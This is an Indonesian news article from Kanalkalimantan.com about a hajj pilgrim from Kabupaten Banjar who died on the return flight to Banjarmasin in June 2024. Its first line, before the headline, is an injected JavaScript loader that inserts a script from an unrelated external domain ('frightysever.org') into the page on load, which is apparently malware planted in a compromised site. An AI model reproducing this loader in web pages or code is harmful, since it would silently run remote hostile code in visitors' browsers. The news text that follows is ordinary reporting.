(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Pulang ke Tanah Air, Jemaah Haji Debarkasi Banjarmasin Wafat di Pesawat

KANALKALIMANTAN.COM, BANJARBARU – Seorang jemaah haji Debarkasi Banjarmasin meninggal dunia saat dalam perjalanan pulang menuju Tanah Air, Kamis (27/6/2024) siang.

Data PPIH Debarkasi Banjarmasin, jemaah haji asal Kabupaten Banjar, Kalimantan Selatan (Kalsel) bernama Hj Nur Ainah Saleh Indar (56) yang dikabarkan wafat di pesawat saat menuju Bandara Syamsudin Noor.

Ketua PPIH Debarkasi Banjarmasin, Dr Muhammad Tambrin mengatakan, almarhumah dinyatakan meninggal dunia pukul 15.00 Wita.

“Jadi yang meninggal dunia di pesawat dari hasil informasi yang kita peroleh sekitar pukul 15.00 Wita, wafat atas nama Hj Nuraina Saleh Indar, dari Kloter 4 dalam prosesi pemulangan,” ujar Ketua PPIH Debarkasi Banjarmasin, Dr Muhammad Tambrin saat diwawancarai, Kamis (27/6/2024) malam.

Dia menjelaskan, dalam perjalanan ke Tanah Air, penumpang pesawat berjumlah 720 orang berasal dari Kota Palangkaraya, Kabupaten Lamandau, Kabupaten Sukamara, Kabupaten Gunung Mas, Kabupaten Murung Raya, dan Kabupaten Banjar.

“Dari 720 jemaah yang pulang pada Kloter 4 dari jeddah berangkat ke sini, Alhamdulillah semuanya dinyatakan sehat,” sebut dia. Sedangkan jemaah atas nama Hj Nuraina Saleh Indar, kata dia, sebelumnya merupakan jemaah Kloter 1 saat di Tanah Suci memiliki riwayat operasi kanker rahim.

“Sehingga perlu menunggu beliau sehat baru diberangkatkan di Kloter 4, begitu dari hasil rekomendasi dokter,” sambungnya.

Dirinya menjelaskan bahwa almarhumah sudah melaksanakan semua proses haji, namun pada saat kepulangan almarhum wafat.

“Pada saat itu sudah saya hubungi suaminya Kiyai Syamsul Ardi, tokoh ulama di Kabupaten Banjar dan beliau menyampaikan terima kasih atas respon dan layanan yang dilakukan secara maksimal,” terang Tambrin.

Sementara itu sanak keluarga dari Hj Nuraina Saleh Indar di Kabupaten Banjar telah menunggu kedatangan dari jenazah, kemudian dibawa ke RSUD Ratu Zalecha Martapura.

“Posisi yang meninggal dibawa ke RSUD Ratu Zalecha Martapura untuk mendapatkan visum sesuai dengan aturan, sehingga keluarga bisa melihat kondisinya dan kemudian dibawa ke rumah duka,” tuntas dia.

Wafatnya satu jemaah haji asal Kabupaten Banjar tersebut menambah daftar syuhada haji dari Embarkasi Banjarmasin. Hingga Kamis (27/6/2024) siang, tercatat 8 syuhada haji dari Embarkasi Banjarmasin, 7 orang dari Provinsi Kalimantan Selatan dan 1 orang dari Provinsi Kalimantan Tengah. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie